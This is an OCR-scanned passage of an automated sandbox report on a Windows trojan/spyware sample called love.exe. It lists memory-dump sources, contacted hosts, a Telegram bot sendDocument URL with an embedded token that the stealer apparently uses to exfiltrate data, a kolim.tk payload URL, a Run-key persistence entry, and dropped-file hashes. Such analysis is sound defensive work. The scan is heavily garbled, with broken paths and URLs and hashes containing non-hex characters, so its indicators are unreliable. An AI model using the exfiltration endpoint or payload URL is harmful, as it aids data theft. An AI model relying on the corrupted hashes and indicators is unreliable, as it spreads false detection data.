0.00000000.sdmp, love.exe, 00000000.0000
0003.333566440.0000000004099000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.353029368.00000000
08440000.00000004.08000000.00040000.0000
0000.sdmp, Grjwvl.exe, 00000012.00000003
.434103812.0000000003812000.00000004.000
00800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000003.434195061.0000000003
869000.00000004.00000800.00020000.000000
00.sdmp, Grjwvl.exe, 00000012.00000002.4
50298892.00000000076C0000.00000004.08000
000.00040000.00000000.sdmp, Grjwvl.exe,
00000015.00000003.449870099.000000000405
9000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000003.449476526.000
0000004002000.00000004.00000800.00020000
.00000000.sdmp, Grjwvl.exe, 00000015.000
00002.467255874.0000000007E40000.0000000
4.08000000.00040000.00000000.sdmp

InstallUtil.exe, 00000025.00000002.517983992.00000 false
00002A31000.00000004.00000800.00020000.0
0000000.sdmp

love.exe, 00000000.00000003.248562205.00 false
0000000171D000.00000004.00000020.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

Antivirus Detection

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Reputation

high

unknown

unknown

high

unknown

unknown

unknown

high

unknown

unknown

unknown
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Name
http:ff

schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http://www.sakkal.com

http://www.apache.org/licenses/LICENSE-2.0

http://www.fontbureau.com

http:ff
https://api.telegram.org/bot5310370668:AAEdB2nfvvFj
53YoaxJ-
AleA2m93WUxxyMO0/sendDocumentdocument-----

http://https://stackoverflow.com/q/14436606/23354

hitp://
https://www.theonionrouter.com/dist.torproject.org/torbr
owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

http:i/https://github.com/mgravell/protobuf-net

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

love.exe, 00000000.00000002.340665654.00 false
00000003011000.00000004.00000800.0002000
0.00000000.sdmp, InstallUtil.exe, 00000011.0000000
2.444296499.000000000345E000.00000004.00
000800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000002.443884786.000000000
27E1000.00000004.00000800.00020000.00000
000.sdmp, Grjwvl.exe, 00000015.00000002.
461653126.0000000002FD1000.00000004.0000
0800.00020000.00000000.sdmp, InstallUtil.exe, 0000
0025.00000002.518778055.0000000002D51000
.00000004.00000800.00020000.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

e URL Reputation: safe

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

InstallUtil.exe, 00000025.00000002.517983992.00000 false
00002A31000.00000004.00000800.00020000.0
0000000.sdmp

love.exe, 00000000.00000003.333485960.00 false
00000004042000.00000004.00000800.0002000
0.00000000.sdmp, love.exe, 00000000.0000
0003.333566440.0000000004099000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.353029368.00000000
08440000.00000004.08000000.00040000.0000
0000.sdmp, love.exe, 00000000.00000002.3
41099204.000000000306E000.00000004.00000
800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000003.434103812.000000000381
2000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000012.00000003.434195061.000
0000003869000.00000004.00000800.00020000
.00000000.sdmp, Grjwvl.exe, 00000012.000
00002.450298892.00000000076C0000.0000000
4.08000000.00040000.00000000.sdmp, Grjwvl.exe,
00000012.00000002.444046902.000000000283E00
0.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000003.449870099.000000
0004059000.00000004.00000800.00020000.00
000000.sdmp, Grjwvl.exe, 00000015.000000
02.461894221.000000000302E000.00000004.0
0000800.00020000.00000000.sdmp, Grjwvl.exe,
00000015.00000003.449476526.00000000
04002000.00000004.00000800.00020000.0000
0000.sdmp, Grjwvl.exe, 00000015.00000002
.467255874.0000000007E40000.00000004.080
00000.00040000.00000000.sdmp

InstallUtil.exe, 00000011.00000002.442994108.00000 false
00003111000.00000004.00000800.00020000.0
0000000.sdmp, InstallUtil.exe, 00000023.00000002.4
62835712.0000000002F41000.00000004.00000
800.00020000.00000000.sdmp, InstallUtil.exe, 00000
025.00000002.517983992.0000000002A31000.
00000004.00000800.00020000.00000000.sdmp

e URL Reputation: safe

love.exe, 00000000.00000003.333485960.00 false
00000004042000.00000004.00000800.0002000
0.00000000.sdmp, love.exe, 00000000.0000
0003.333566440.0000000004099000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.353029368.00000000
08440000.00000004.08000000.00040000.0000
0000.sdmp, Grjwvl.exe, 00000012.00000003
.434103812.0000000003812000.00000004.000
00800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000003.434195061.0000000003
869000.00000004.00000800.00020000.000000
00.sdmp, Grjwvl.exe, 00000012.00000002.4
50298892.00000000076C0000.00000004.08000
000.00040000.00000000.sdmp, Grjwvl.exe,
00000015.00000003.449870099.000000000405
9000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000003.449476526.000
0000004002000.00000004.00000800.00020000
.00000000.sdmp, Grjwvl.exe, 00000015.000
00002.467255874.0000000007E40000.0000000
4.08000000.00040000.00000000.sdmp

Reputation

high

unknown

high

high

high

high

unknown

high
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Name

http://www.carterandcone.coml

http://www.fontbureau.com/designers/cabarga.htmIN

http://www.founder.com.cn/cn

http:// YWKHBXx.com

http://www.fontbureau.com/designers/frere-jones.html

http://https://zw7GRnzerS8zhijeZhLl.org

http://https://stackoverflow.com/q/2152978/23354

http://www.jiyu-kobo.co.jp/

http://www.fontbureau.com/designers8

hitp://
https://kolim.tk/love_Wvkjhzse.pngSDnppmojgavidoap
pabt.Egcapxbcwuzzagnfkwwpyg

http://api.telegram.org

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

InstallUtil.exe, 00000025.00000002.517983992.00000
00002A31000.00000004.00000800.00020000.0
0000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

InstallUtil.exe, 00000025.00000002.518778055.00000
00002D51000.00000004.00000800.00020000.0
0000000.sdmp, InstallUtil.exe, 00000025.00000002.5
17983992.0000000002A31000.00000004.00000
800.00020000.00000000.sdmp

love.exe, 00000000.00000003.333485960.00
00000004042000.00000004.00000800.0002000
0.00000000.sdmp, love.exe, 00000000.0000
0003.333566440.0000000004099000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.353029368.00000000
08440000.00000004.08000000.00040000.0000
0000.sdmp, Grjwvl.exe, 00000012.00000003
.434103812.0000000003812000.00000004.000
00800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000003.434195061.0000000003
869000.00000004.00000800.00020000.000000
00.sdmp, Grjwvl.exe, 00000012.00000002.4
50298892.00000000076C0000.00000004.08000
000.00040000.00000000.sdmp, Grjwvl.exe,
00000015.00000003.449870099.000000000405
9000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000003.449476526.000
0000004002000.00000004.00000800.00020000
.00000000.sdmp, Grjwvl.exe, 00000015.000
00002.467255874.0000000007E40000.0000000
4.08000000.00040000.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, Grjwvl.exe.0.dr

InstallUtil.exe, 00000011.00000002.444332457.00000
00003473000.00000004.00000800.00020000.0
0000000.sdmp, InstallUtil.exe, 00000025.00000002.5
18845244.0000000002D9D000.00000004.00000
800.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

Reputation

unknown

high

unknown

unknown

high

unknown

high

unknown

high

unknown

high
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious
162.240.68.177 kolim.tk United States £S5 46606 UNIFIEDLAYER-AS-1US false
149.154.167.220 api.telegram.org United Kingdom ] 62041 TELEGRAMRU false
151.101.65.69 unknown United States = 54113 FASTLYUS false
151.101.193.69 stackoverflow.com United States =] 54113 FASTLYUS false
151.101.129.69 unknown United States = 54113 FASTLYUS false
151.101.1.69 unknown United States =] 54113 FASTLYUS false
Private

P

192.168.2.1

General Information

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 651266

Start date and time: 23/06/202218:18:09 2022-06-23 18:18:09 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 10m 58s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: love.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 38

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o o o o

Number of injected processes analysed:
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Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings

e o o o

.
.
.
.

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default

Timeout

MAL

mal100.troj.spyw.evad.WinEXE@27/28@155/7

.

.

3

.

.

.

3

.

.

.

Successful, ratio: 100%

Successful, ratio: 0.1% (good quality ratio 0.1%)
Quality average: 77.6%
Quality standard deviation: 13.6%

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 80.67.82.211, 80.67.82.235
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.

update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, a1449.dscg2.akamai.net, arc.msn.com

e o o o o o o o o

Simulations

Behavior and APIs
Time

18:19:51

18:19:54

18:19:55
18:20:00

18:20:42

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

Copyright Joe Security LLC 2022

Type

Autostart

API Interceptor
API Interceptor

Autostart

API Interceptor

Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing d isassembly code information.
Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, too many NtDeviceloControlFile calls found.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

Report size getting too big, t oo many NtReadVirtualMemory calls found.

Description

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Grjwvl "C:\Users\user\AppData\Roaming\Mgfkno

AGrjwvl.exe"
1x Sleep call for process: love.exe modified

504x Sleep call for process: InstallUtil.exe modified

Run: HKCUB4\Software\Microsoft\Windows\CurrentVersion\Run Grjwvl "C:\Users\user\AppData\Roaming\Mgfk

nof\Grjwvl.exe"

2x Sleep call for process: Grjwvl.exe modified

Page 18 of 112



@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\Usagelogs\Grjwvl.exe.log

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe

ASCII text, with CRLF line terminators

dropped

1119

5.356708753875314

false
24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZIpKhPKIE40KFKHK0ZAE4Kzr7FE4j:MIHK5HKXE 1gHiYHKhQnoPtHoxHhAHKzd
3197B1D4714B56F2A6ACOE83761739AE

3B38010FODF51C1D4D2C020138202DABB686741D
40586572180B85042FEFED9F367B43831C5D269751D9F3940BBC29B41E18E9F6

58EC975A53AD9B19B425F6C6843A94CC280F794D436BBF3D29D8B76CALESC2D8883B3E754F9D4F2C9E9387FEB8825CCD9919369A5446B1AFF73EDBEO7FA94D
8

false

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Ve
rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4fOa7eefa3cd3e0ba98b5ebddbbc72
e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni
.dlI*,0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\S
ystem.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b
77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\Usagelogs\love.exe.log @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\love.exe

ASCII text, with CRLF line terminators

modified

1119

5.356708753875314

false
24:MLUE4K5E4Ks2E1qE4gXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7FE4j:MIHK5HKXE1gHiYHKhQnoPtHoxHhAHKzd
3197B1D4714B56F2A6AC9E83761739AE

3B38010FODF51C1D4D2C020138202DABB686741D
40586572180B85042FEFEDI9F367B43831C5D269751D9F3940BBC29B41E18E9F6

58EC975A53AD9B19B425F6C6843A94CC280F794D436BBF3D29D8B76CALESC2D8883B3E754FID4F2C9E9387FEB8825CCD9919369A5446B1AFF73EDBEO7FA94D
8

true

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Ve
rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72
e6\System.ni.dll*,0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni
.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\S
ystem.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b
77a5c561934€089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59¢c21

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\0c319fcd-164f-

43f5-b568-bddd202bal2d.acb309b0-acb2-458c-b26d-efdacdb577f4.down_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Windows\System32\BackgroundTransferHost.exe
data

dropped

1224

3.616822270337392

false
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SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

24:LLVR2mRIiY 1xXpjgWzgxjX+vUViY1zLBK1+ZesafxOc2CpX3jbbWIzupNT:LLD2mRiY 1xXpjPgVX+v8iY 1PBgoerfeD

25398C3DD5033D4BOFBE6G81FC856CD76

1F5D66D565B16ACA055085B9E8943DEB47FDO8SDF

DAB5B35871D51F6F6CFA27CB47C1D80122582FF042D6D7D355479C2E1E078702
76E751707ECC79E6479B8416C41962C2BE5C673B60EB1AAB05FA344BE9DBA337A29730630BFE329285DD8946DFD58EA474F3CB149A445F85DAES14C31D39D2€
false

h.ttp.s..//lim.g.-.p.ro.d.-c.m.s.-r.t-mi.c.r.o.s.0.ft-.com..akama.ized..net/cms/ap.ilam/limag.eF.ileD.ata/RW.z7WV.?v.er=74.04..C.o.
n.te.n.t.-Ty.p.e...i.mag.e./jp.e.g..Acc.ess.-C.o.ntrol-AllLow.-0O.rig.in.:. *.Co.nten.t-Lo.catio.n. https.//limag.e..p.r.o.d..cms..rt.mi
c.r.o.s.o.f.t..com/cms./ap.ilam./ima.g.eF.ileD.ata/RW.z7W.V.?v.er=74.04.L.as.t-Mo.d.ifie.d.: .Mo.n.,..2.0..Jun..20.2.2..0.6..3.2.:.05. .G.
M.T..X.-S.o.u.r.cee.-L.eng.th.. .6.1.34.16.X-D.atac.e.nter.: northeu.X-Activity.ld.:. .1.3.b9.0.3.2.1.-a.85.4.-4557.-9.9.c.9.-.6.1.2.6.6.d.0.3.
c.f9.f.T.imin.g.-AllLow.-.0O.r.ig.in.. *.X-Fram.e.-O.p.tio.ns... D.EN.Y..X-Res.izerV.ers.ion. .1..0..Content-Length.: 6.13416..Cac.he.
-.C.o.n.tro.l:. .p.ub.li

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\0c319fcd-164f-

43f5-b568-bddd202bal2d.up_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

276

3.4209479314753866

false
6:ZyncUkamOwhg2YMYtHSMLhU7IBSIIHGSMX6YXKMWEQIif1C:ZxMghwLtHSM1Sh9mSMXAvY 1
E7FO3E555EAB1854578225CDOBEABAGL

02C9A7155B2B2A67B844D971ACE6CA65184E5463
2852B6874FE198F6F4602B44664106489FC2424424E37994392CD2082803352C

C588249B060D2F6829A0A0D91D75AF70BE51CODADFAC8242AEB144666FOEF96ABB0570DEB2DE347076F663324ECEA3C5B0D77B1B4F49252CFF70E8E978F091
AB

false

F.4.2.0.C.4E.A.-426.1.-4B.6.6.-.8.B.9.C.-.E.AA8.C.C.C.9.6.AD.E..G.ET..https.../[im.g.-p.r.o.d.-cms.-rt-m.ic.ro.s.oft-com.akama.ized.net/lcm.
s.lap.ilam/imag.eFileD.atalRW.z7WV.2ver=7404......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1202cf45-361f-

4e06-9984-df08f0b19094.697aebbe-a821-43f2-a21c-ef6616216e51.down_meta

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

1228

3.6020584302895546

false
24:LLVR2MRIpYXpjgWzgxjX+vUVip+gBKo1+uSlz1nsafxOc2CpX3KZbbOOUpNT:LLD2mRiiXpjPgVX+v8i7BKS/StrfelX|
FOC20E7750BE60C8A0AF53FD69CE8450

4179EDE47EBOC2F1515B13BCFB703E39280BC965
277D122E45CC7ECE397E78DF7E829BDD5591741780E6ACI913BEEECE103DB2ACD

CDOF5BF21E2E737B87B296CA7EESAG835FB2AFC1FEEEC35FBAAC2ESECO3ACICBCO87F703FEAIBCSEF33B58FA0800414F121B4713021D1769CD59ABBFBCFC
6474

false

h.ttp.s..//lim.g.-p.r.od.-cms.-.r.t-micr.o.s.o.ft-com..akama.ized.net/cms/ap.ilam/imag.eF.ileD.ata/RWMYJF.?v.er=el05..C.o.
nte.n.t.-Ty.p.e.. .imag.e./jp.e.g..Acc.ess.-C.ontrol-AllLow.-0O.r.ig.in.: *.Content-Lo.cation. https.//limag.e.p.ro.d..cms..rt.m.i
c.r.o.s.oft..com/cms./ap.ilam./ima.g.eF.ileD.atal/RWMYJF.?v.er=el10.5.Last-Mo.dified.: Mo.n.,. .20..Jun. 2022 .1.1.:47.:.22. .G.
M.T..X.-S.o.ur.ce.-L.ength.: 16.8156.3..X.-D.atac.enter.:. . .northeu.X-Activityld.:. 412fd4.d.7.-b.0.2.e.-4.0.a.b.-.8.c.3.1.-.1.6.7.c.4.0.e.
2.0.4.b.8..T.iim.i.n.g.-AllLow.-.O.r.ig.in... *.X.-Fram.e.-O.p.tions...D.ENY..X-Res.izerV.ers.ion.. 1.0..Content-Length: .16.8156.3..Ca.c.
h.e.-.C.o.n.tr.o.l:. .p.u.b.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1202cf45-361f-

4e06-9984-df08f0b19094.up_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Windows\System32\BackgroundTransferHost.exe
data

dropped

276

3.438537616157536

false

6:ZyncUkamOwhg2YMYtHSMLhU7IBSIIHGSMX6YXKMwWEQIiBipA06:ZxMghwLtHSM1Sh9mSMXAvp
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

1AA572FBF2872AA829157208F1C318B7
6524DD9AAED140FD56F9D4C55E96D43F6D084023
31EDAD61231FC9294D9821872D6E3C250FEC8F50BD63E0745802E613450BC2AA

EEC14F3458A4869EC22151568D7BB4CE42B889A9C59BC7EG35E734EF12BCA31074FD34791AE4AB41EFCDC2563E74187B1B1F825F2BF131E83B27BB22632BAC
87

false

F.4.2.0.C4E.A-4.26.1.-4B.6.6.-8.B.9.C.-E.AA8.C.C.C96.AD.E..G.ET..https.../[im.g.-p.r.o.d.-cms.-rt-m.i.c.r.o.s.o.ft-c.om..akam.a.ize.d.ne.t/cm.
s.la.p.ilam./ima.g.e.F.ileD.ata/RWMYJF?v.er=el05......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\17853855-43d6-

470c-896b-304a6b88afff.1816c152-22b6-479b-9224-4bb133e865b6.down_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

1230

3.6129614958525598

false
24:LLVR2mRiw5CuXpjgWzgxjX+vUViw52B41+38dQbrczsafxOc2CpX3JbprsupNT:LLD2mRi+1XpjPgVX+v8i+2BiNyQrfelx
E3F32224CB3274C3667255DFD5A01570

E5B46BC0A852B5368E53429838E91CF621AC8EG8
C91CCC452891EE71E86DE4E81808AB55CAG1E7414794C7218BD3D0OF940F00B1F

02FA4516E6D85F03FD3D7BCA1B6722BB2AD55D405CDAGCAAGFA4733A3E339488CFI1F6CD17214B786C54489F53CC06DB68AB2BA844704DOEFD8CACBAGGODAC
AE3

false

h.ttp.s../lim.g.-.p.rod.-.c.ms.-rt-mic.ro.s.0.ft-com..akamaized.net/cms/ap.ilam/limag.eF.ileDatal/RE4Pw.ej?ver=cb.f0..C.
o.nte.n.t-Ty.p.e. .imag.eljp.eg..Ac.cess.-.Control-AllLow.-0O.rig.in. *.C.o.ntent-Lo.cation. https..//limag.e.p.ro.d.cms..rt.m.
i.cro.s.o.ft..com/cms/ap.ilam/limag.eFileD.atalRE.4Pw.ej?ver=cbf0.Last-Modified.: .Sun.,. .19 Jun..2.022. .0.6.:.45.:1.1.
.G.M.T..X.-S.o.ur.ce..L.ength.: .1.7.0.8.8.6.5..X.-.D.atac.enter.: .northeu.X-Activity.ld.: 477.c.c.7.e8.-7f9.d.-4.ef9.-9e.e3.-3e374
3.4.4.acbhe.Timing.-AlLow.-0.rig.in.: *.X-Frame.-.0O.ptio.ns... .D.ENY..X-R.es.izerV.ersio.n. 1..0..Content-Lengt
8.6.5...C.a.c.h.e.~.C.o.n.tr.o.l:. .p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\17853855-43d6-

470c-896b-304a6b88afff.down_data

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe
Photoshop 21.1 (Windows), datetime=2022:03:02 13:22:10]

dropped

1708865

6.97847786200903

false
24576:HdC81bzUVyezQkoZvNEyfcO/irM/ROIGSUxfBQQYVzalPhwkXtpxODfAL90eQZzE:HdC81bzlzMbXVzag50jCOeQJIkd
BEA60D73FB1ECED3027734526438F17C

94EF9697C95742084DB52EDC303FD4DA31286FE3
0F41D7DBC9F23B935077A920C03146802FFA26B1342E5A262E62750DDCDDAE21

29BC20AA7B8CA0E1E4B2738F2CI9FAA23A1A0D37A34FF44866F81551FE9B374A6EE4EDED8D4292CF2DE3D928D7B008701922AE7A7DD48E9CDBC63A08D4F3CC
6C7

.".Adobe Photoshop 21.1 (Windows).2022:03:02 13:22:10..

....... _ .R. ..C.%. . . 6. . . ..7GWg
5.....11..AQaq"..2.....B#.R..3%b.r..CS.cs4.%......&5..D.T..dEU6te....u..F... $.r,.
+.3.p..88.4...[.0.......qzu..k_..yf.hh..~..F.M.@7.x...+.....7r..]0o..6.E

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2232075c-2080-

423f-a051-232211108210.1434b2ac-40d2-4c42-ad75-b6336bbaea77.down_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Windows\System32\BackgroundTransferHost.exe
data

dropped

1230

3.6109615927656407

false

24:LLVR2mRiwmXpjgWzgxjX+vUViwNBKf1+DysafxOc2CpX3K0bQdzupNT:LLD2mRi3XpjPgVX+v8ioBKNPrfelX3KU
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MD5: 902F917235300D9CCE35555B62AA3577

SHA1L: EE3DEACA4FAC475CCA337723F1D93352BA7469955

SHA-256: B45B1F6EB957CF5C4B707B665971A944065D9634DA8BE6C759FADEAB3D5BF6090

SHA-512: AFEC978E65824EC3509DFC89457A24B752348DB94D24F4281181E855D1CADB818C7760F491ACB3CC49A3932695B5D1730ABOB95COFE653154CCAAACE57EFBY
8

Malicious: false

Preview: h.ttp.s..//im.g.-.p.r.o.d.-c.m.s.-r.t-mic.r.o.s.0.ft-.com..akama.ized..net/cms/lap.ilamlimag.eF.ileD.ata/REA4PIT.B?ver=2a94.C.

o.n.te.n.t-T.y.p.e...i.ma.g.e./jp.e.g..Ac.cess.-C.o.ntrol-AllLow.-0O.r.ig.in.. *.C.o.nten.t-Lo.cation. https..//limag.e..p.ro.d.cms..rt.m
i.cro.s.o.ft.com/cms./ap.ilamlimag.eFileD.atal/RE4PIlTB?v.er=2a94..Last-Modified.: .Sun.,. .19 Jun. .2.02.2. .06.:.45.:11.
.G.M.T...X.-.S.o.ur.c.e-.L.ength.:. .16.6.0833..X.-D.atac.enter. .northeu.X-A.c.tivityld.: .50.f3.dfeb5.-4.cfe.-4.6.75.-b.e0.8.-a..0.c8.
4.c.a.d.6.b.0..T.im.i.n.g.-.AllLow.-O.rig.i.n.:. *.X.-F.ram.e.-.O.p.ti.o.ns... D.ENN.Y..X.-.R.es.izerV.ers.io.n. .1.0..Co.ntent-Len.gth: .16.6.0.
8.3.3...C.a.c.h.e.-.C.o.n.tr.o.l:. .p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2232075c-2080-
423f-a051-232211108210.down_data

Process: C:\Windows\System32\BackgroundTransferHost.exe

